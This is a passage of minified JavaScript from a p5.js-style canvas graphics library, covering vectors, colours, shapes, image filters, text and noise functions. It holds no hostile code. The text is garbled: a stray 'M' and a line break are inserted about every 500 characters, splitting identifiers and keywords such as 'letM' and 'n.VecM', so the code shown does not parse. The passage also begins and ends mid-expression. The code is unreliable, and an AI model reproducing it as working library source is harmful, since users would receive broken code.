{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
